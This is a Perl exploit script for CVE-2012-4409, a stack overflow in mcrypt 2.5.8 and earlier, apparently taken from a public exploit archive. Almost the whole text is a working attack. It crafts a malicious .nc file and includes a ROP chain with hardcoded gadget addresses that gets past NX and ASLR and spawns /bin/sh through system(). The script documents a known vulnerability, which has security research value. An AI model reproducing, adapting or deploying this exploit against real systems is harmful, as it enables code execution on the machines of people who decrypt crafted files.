1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 |
#!/usr/bin/perl # Title: mcrypt <= 2.5.8 STACK based overflow # Date : 23/11/2012 # Exploit Author : Tosh # CVE: CVE-2012-4409 # Patch: http://www.openwall.com/lists/oss-security/2012/09/06/8 # Tested on: Archlinux 3.6.6-1, without SSP # This script exploit a stack based overflow in mcrypt <= 2.5.8. # It bypass NX and ASLR protections, but no SSP. # This exploit craft a crypted file and arbitrary code may be executed if the file is decrypted with a vulnerable version # of mcrypt. The vulnerable function is check_file_head(), present in src/extra.c. See the CVE details or the patch for more # informations. # Payload must be adjusted on others plateforms, here is just a Proof of Concept :) use strict; use warnings; my $filename = 'fake.nc'; my $file; my $payload; print "[+] Build payload.\n"; $payload = payload(); print "[+] Build file.\n"; $file = build_file($payload); print "[+] Writing $filename.\n"; write_file(); print "[+] DONE.\n"; sub write_file { die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename); print F $file; close F; } sub build_file { # magic $file .= "\x00m\x03"; # flags $file .= pack('C', 1 << 6); # algorithm $file .= "H\@Ck3d\x00"; # keysize $file .= pack('S', 0xdead); # mode $file .= "h\@cK3d\x00"; # keymode $file .= "H\@CK3D\x00"; # sflags $file .= "\xff"; # payload $file .= $_[0]; return $file; } sub payload { my $saved_eip_off = 0x71; # Buffer len for overwrite saved EIP my $v_local_1 = 0x0805b000; # Local variable 1 overwriten my $v_local_2 = 0x08048007; # Local variable 2 overwriten my $ret_sled= 5;# Offset between saved EIP and local variables my $strcpy_plt= 0x080499f0; # strcpy@plt address my $fopen64_got = 0x0805b1c8; # fopen64 got entry my $system_off= 0xfffd6b30; # fopen64 - system my $w_mem = 0x0805b000; # writable memory, without ASLR my $pop2_ret= 0x08055a63; # pop; pop; ret my $ret = 0x0805a5ed; # ret my $pop_ebx = 0x08056186; # pop ebx; ret my $pop_edi = 0x08053460; # pop edi; ret my $xchg_eax= 0x080517a4; # xchg eax, edi; ret my $add_eax = 0x0804dabf; # add eax,[ebx-0x2776e73c]; pop ebx; ret my $call_eax= 0x0804b357; # call eax; leave; ret my $payload; $payload .= "A"x$saved_eip_off; $payload .= pack('L', $ret) x $ret_sled; $payload .= pack('L', $pop2_ret); $payload .= pack('L', $v_local_1); $payload .= pack('L', $v_local_2); # Copy"/bin/" in +W memory $payload .= pack('L', $strcpy_plt); $payload .= pack('L', $pop2_ret); $payload .= pack('L', $w_mem + 0x00); $payload .= pack('L', 0x08057fc2); # Copy "sh" + "\x00" in +W memory $payload .= pack('L', $strcpy_plt); $payload .= pack('L', $pop2_ret); $payload .= pack('L', $w_mem + 0x05); $payload .= pack('L', 0x08048bab); # Calc system() address with fopen64 GOT entry $payload .= pack('L', $pop_ebx); $payload .= pack('L', $fopen64_got + 0x2776e73c); $payload .= pack('L', $pop_edi); $payload .= pack('L', $system_off); $payload .= pack('L', $xchg_eax); $payload .= pack('L', $add_eax); $payload .= "HaCk"; # Call system("/bin/sh") $payload .= pack('L', $call_eax); $payload .= pack('L', $w_mem); die("[-] Payload too long !\n") if(length $payload > 0xfe); return $payload; } |